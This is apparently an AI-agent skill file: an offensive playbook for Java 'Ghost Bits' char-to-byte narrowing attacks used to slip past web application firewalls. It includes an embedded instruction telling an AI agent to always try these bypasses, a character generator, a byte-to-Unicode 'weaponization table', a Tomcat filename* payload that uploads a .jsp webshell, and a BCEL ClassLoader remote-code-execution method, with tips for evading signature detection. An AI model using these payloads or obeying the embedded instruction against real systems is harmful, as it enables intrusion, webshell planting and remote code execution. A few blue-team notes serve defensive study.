- name
- ghost-bits-cast-attack
- description
- Java "Ghost Bits" / Cast Attack playbook (Black Hat Asia 2026). Use when attacking Java services where 16-bit char is silently narrowed to 8-bit byte to bypass WAF/IDS for SQL injection, deserialization RCE, file upload (Webshell), path traversal, CRLF injection, request smuggling, and SMTP injection. Affects Tomcat, Spring, Jetty, Undertow, Vert.x, Jackson, Fastjson, Apache Commons BCEL, Apache HttpClient, Angus Mail, JDK HttpServer, Lettuce, Jodd, XMLWriter and re-enables many "patched" CVEs through WAF bypass.
# SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook
> **AI LOAD INSTRUCTION**: This is a Java-only injection-enabling primitive,
> not a standalone vulnerability class. Whenever you see (1) a Java backend,
> (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload,
> path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS
> try Ghost Bits variants of the payload before declaring it "blocked". The
> root cause is the silent loss of the high 8 bits when Java code narrows a
> 16-bit `char` to an 8-bit `byte` — the WAF sees a harmless Unicode
> character, the backend reconstructs the original ASCII attack byte. Base
> models almost never reach for this primitive.
>
> Source: Black Hat Asia 2026 talk *Cast Attack: A New Threat Posed by Ghost
> Bits in Java* by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor
> Zongzheng Zheng (@chun_springX).
## 0. RELATED ROUTING
Ghost Bits is a *bypass* primitive that re-enables payloads from many other
playbooks. Pair it with whichever attack family applies:
- [waf-bypass-techniques](../hack-waf-bypass-techniques/SKILL.md) — when a Java
backend is suspected and WAF rules block the literal payload, this is the
first technique to try beyond classic encoding.
- [deserialization-insecure](../hack-deserialization-insecure/SKILL.md) — for
Apache Commons BCEL ClassLoader and Fastjson `\u`/`\x` escape variants.
- [path-traversal-lfi](../hack-path-traversal-lfi/SKILL.md) — Spring, Jetty,
Undertow, Vert.x URL decoding and `%2>` hex folding.
- upload-insecure-files — Tomcat
`RFC2231Utility` `filename*` Webshell upload.
- [request-smuggling](../hack-request-smuggling/SKILL.md) — Apache HttpClient
`<= 4.5.9` (HTTPCLIENT-1974/1978) header CRLF.
- [crlf-injection](../hack-crlf-injection/SKILL.md) — Angus Mail / Jakarta Mail
SMTP injection and JDK HttpServer response splitting.
- [sqli-sql-injection](../hack-sqli-sql-injection/SKILL.md) — Jackson `charToHex`
table-lookup truncation hides SQL keywords inside Unicode escapes.
### Advanced Reference
Load [PAYLOAD_COOKBOOK.md](./PAYLOAD_COOKBOOK.md) when you need:
- Full byte-to-Ghost-character lookup table covering every printable ASCII
byte 0x20–0x7E and the most useful control bytes (0x00, 0x09, 0x0A, 0x0D).
- Per-component affected version matrix and patch identifiers.
- Yaklang and Python one-liner payload generators (for `poc.HTTP`,
`codec.Encode`, raw socket).
- "Multi-view normalization engine" pseudocode for blue-team WAF detection.
---
## 1. ONE-MINUTE MENTAL MODEL
Java's `char` is a **16-bit** unsigned integer (UTF-16 code unit). Almost
every wire protocol — HTTP/1.1, SMTP, Redis RESP, file paths, raw byte
streams — is **8-bit** byte oriented. The right way to bridge them is
explicit charset encoding:
```
// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);
```
Tons of legacy code, framework internals, and "fast path" optimizations skip
this and silently narrow:
```
// Dangerous: high 8 bits silently dropped
byte b = (byte) ch; // 0x966A -> 0x6A
out.write(ch); // ByteArrayOutputStream.write(int) keeps low 8 bits
dos.writeBytes(str); // DataOutputStream loops char->byte cast
int v = ch & 0xFF; // explicit low-byte mask
```
The lost high 8 bits are the **Ghost Bits**. They turn a multi-byte
Unicode character into a single attacker-chosen ASCII byte at the protocol
layer.
```
View A (string layer: WAF / business validation / logs)
sees: 陪 阮 严 灵 瘍 瘊 ... "harmless Unicode garbage, allow"
|
v silent narrowing somewhere in the call stack
View B (byte layer: protocol / file system / parser / class loader)
sees: j . % u \r \n ... "executes the dangerous semantics"
The boundary is breached at the exact moment "view A" and "view B" disagree.
```
Mathematical formulation: to make View B see byte `T`, pick any
`k in 0x01..0xFF` and use:
```
c = chr((k << 8) | T)
```
That gives you **255 candidate Unicode characters per dangerous byte** —
plenty of room to dodge any signature-based blacklist.
---
## 2. THREE ROOT-CAUSE FAMILIES
The Ghost Bits umbrella covers three distinct underlying bugs. Distinguishing
them tells you both *which payload shape* to send and *what to grep for* in
source.
### Family A — Real high-bit truncation (classic Ghost Bits)
The narrowing is literal and unconditional.
```java
// Pattern A1: explicit cast
byte b = (byte) ch;
// Pattern A2: bitwise mask
int v = ch & 0xFF;
int v = ch & 255;
// Pattern A3: OutputStream.write(int) keeps low 8 bits only
out.write(ch);
baos.write(ch);
// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
// writing low byte of each
dos.writeBytes(str);
// Pattern A5: deprecated APIs that still exist in old code
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);
```
Typical impact: Tomcat `filename*`, Apache BCEL ClassLoader, Lettuce Redis
writer, SMTP CRLF in Angus Mail, HTTPCLIENT-1974 header injection.
### Family B — Bit-arithmetic folding (illegal char becomes legal)
A "fast" hex / base64 / charset decoder uses bit tricks instead of strict
range checks, so an illegal character collapses onto a legal one.
```java
// Jetty TypeUtil.fromHexDigit (simplified)
private static int fromHexDigit(char c) {
int x = c & 0x1F; // keep low 5 bits
x += (c >> 6) * 25;
x -= 16;
return x; // expected 0..15, but no range check
}
```
Worked example: feed `>` (0x3E):
```
0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xE
```
So `%2>` is silently parsed as `%2E` = `.`. The same algebra makes `%2^`,
`%2~` etc. equivalent to other hex digits.
Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic
URL-decode WAF bypass.
### Family C — Lax Unicode normalization
The decoder accepts Unicode characters that happen to be classified as
"digit" or that map to a hex value via a `& 0xFF` lookup — even though they
were never meant to participate in protocol parsing.
```java
// Fastjson: too permissive
Character.digit(c, 16); // accepts Thai, Punjabi, fullwidth digits
// Jackson: index by low 8 bits into an ASCII-only table
return sHexValues[ch & 0xff];
// Generic: fullwidth normalization
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'
```
Typical impact: Fastjson `\u` and `\x` escape bypass, fullwidth URL-encoded
path traversal, Jackson `charToHex` SQLi smuggling.
---
## 3. CHARACTER GENERATOR
Build any Ghost Bits character on the fly. This is the single function every
agent should keep in mind:
```python
# Python
def ghost(target_byte: int, k: int = 1) -> str:
"""Return a Unicode char whose low 8 bits equal target_byte."""
return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))
# 255 candidates per byte, e.g. for '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., etc.
```
```yak
// Yaklang (for poc.HTTP / fuzz)
func ghost(targetByte, k) {
return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96) // returns "陪"
```
Selection guidance:
- Avoid surrogate range `0xD800..0xDFFF` (high byte 0xD8..0xDF) — those are
not valid scalar values and will be replaced by the JVM string decoder
before reaching the narrowing site, defeating the bypass.
- Prefer characters that survive the application's own charset round-trip
(Latin-Extended, CJK Unified Ideographs, Enclosed CJK Letters and Months,
Hangul). If the request body uses UTF-8, these all encode cleanly into
multi-byte sequences that no WAF rule recognizes as `.`, `/`, `j`, etc.
- Rotate `k` between requests so signature based learning cannot pin a single
character to a single attack.
---
## 4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP
Compact red-team weaponization table. For every byte the attacker actually
needs, one verified Unicode char is given; substitute another `k` if the WAF
later learns the example.
| Target byte | Hex | Used for | Ghost char | Code point |
|-------------|------|---------------------------------------|------------|------------|
| `\t` | 0x09 | header folding, parser confusion | `ĉ` | U+0109 |
| `\n` | 0x0A | CRLF injection, log injection | `瘊` | U+760A |
| `\r` | 0x0D | CRLF injection, request smuggling | `瘍` | U+760D |
| ` ` | 0x20 | header break, command separator | `Ġ` | U+0120 |
| `"` | 0x22 | string break in JSON / quoted-printable | `Ģ` | U+0122 |
| `%` | 0x25 | URL encoding prefix, second decode | `严` | U+4E25 |
| `&` | 0x26 | parameter separator | `Ȧ` | U+0226 |
| `'` | 0x27 | SQL string break | `ȧ` | U+0227 |
| `(` | 0x28 | EL/SpEL/OGNL syntax | `Ȩ` | U+0228 |
| `)` | 0x29 | EL/SpEL/OGNL syntax | `ȩ` | U+0229 |
| `.` | 0x2E | path traversal, extension | `阮` | U+962E |
| `/` | 0x2F | path separator | `丯` | U+4E2F |
| `0` | 0x30 | hex digit construction | `丰` | U+4E30 |
| `1` | 0x31 | hex digit construction | `失` | U+5931 |
| `2` | 0x32 | hex digit construction | `甲` | U+7532 |
| `3` | 0x33 | hex digit construction | `耳` | U+8033 |
| `;` | 0x3B | command separator, header continuation | `Ȼ` | U+023B |
| `<` | 0x3C | XSS / XML tag start | `ȼ` | U+023C |
| `=` | 0x3D | parameter / header value | `Ƚ` | U+023D |
| `>` | 0x3E | XSS / XML tag end | `Ⱦ` | U+023E |
| `@` | 0x40 | Fastjson `@type`, mail address | `ŀ` | U+0140 |
| `a` | 0x61 | keyword `class`, alphabet | `ᙡ` | U+1661 |
| `c` | 0x63 | keyword `class`, `cmd` | `㹣` | U+3E63 |
| `e` | 0x65 | hex digit | `来` | U+6765 |
| `j` | 0x6A | extension `.jsp` | `陪` | U+966A |
| `l` | 0x6C | keyword `class`, `closure` | `౬` | U+0C6C |
| `n` | 0x6E | keyword `Runtime`, `union` | `陮` | U+966E |
| `s` | 0x73 | keyword `class`, `select` | `⑳` | U+2473 |
| `t` | 0x74 | keyword `Runtime`, `type` | `Ŵ` | U+0174 |
| `u` | 0x75 | `\u` escape introducer | `灵` | U+7075 |
Workflow tip: keep the ASCII `Ŀ`, `ȧ`, `ȼ`, etc. variants for tight HTTP
header contexts (one byte UTF-8 expansion stays smaller); use CJK like `阮`,
`陪`, `严` when you want to bias the WAF "this is just text" classifier.
---
## 5. PER-COMPONENT PAYLOAD RECIPES
Every recipe shows the dual view: what the WAF inspects vs. what the backend
actually executes. This is the only reliable way to explain *why* the payload
goes through.
### 5.1 Tomcat `RFC2231Utility` — file upload Webshell (Family A)
Trigger: any endpoint that accepts multipart upload and Tomcat parses
`Content-Disposition: ... filename*=UTF-8''...`. Tomcat's RFC2231 decoder
casts each non-percent character directly to byte, dropping the high 8 bits.
Payload:
```
Content-Disposition: attachment; filename*=UTF-8''1.陪sp
```
| Stage | Filename it sees |
|------------------------|--------------------------|
| WAF / extension filter | `1.陪sp` (not `.jsp`, allow) |
| Tomcat RFC2231 decoder | `陪` -> low byte 0x6A -> `j` |
| File system | `1.jsp` |
Combine with traversal characters from section 4 (`阮`, `丯`) when the upload
target directory is fixed but the application accepts a `filename*`.
### 5.2 Apache Commons BCEL — ClassLoader RCE (Family A)
Trigger: any sink that resolves a class name through `BCEL` (`$$BCEL$$...`)
or any code that decodes BCEL via the `JavaReader` -> `ByteArrayOutputStream`
loop.
Vulnerable shape:
```java
ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
bos.write(ch); // low 8 bits only
}
```
Attack: wrap each byte of the malicious BCEL bytecode into a Unicode
character whose low 8 bits equal that byte. The decoded byte stream is a
valid BCEL class; the WAF sees a long blob of CJK text without `$$BCEL$$`
keywords or class signatures.
| View | Content |
|------|---------|
| WAF | `$$BCEL$$` followed by random looking CJK |
| BCEL | standard BCEL class file bytes → JVM defineClass → RCE |
Defense for blue team: a WAF inspecting BCEL must replicate the
`bos.write(ch)` semantics on each character before pattern matching.
Ver en GitHub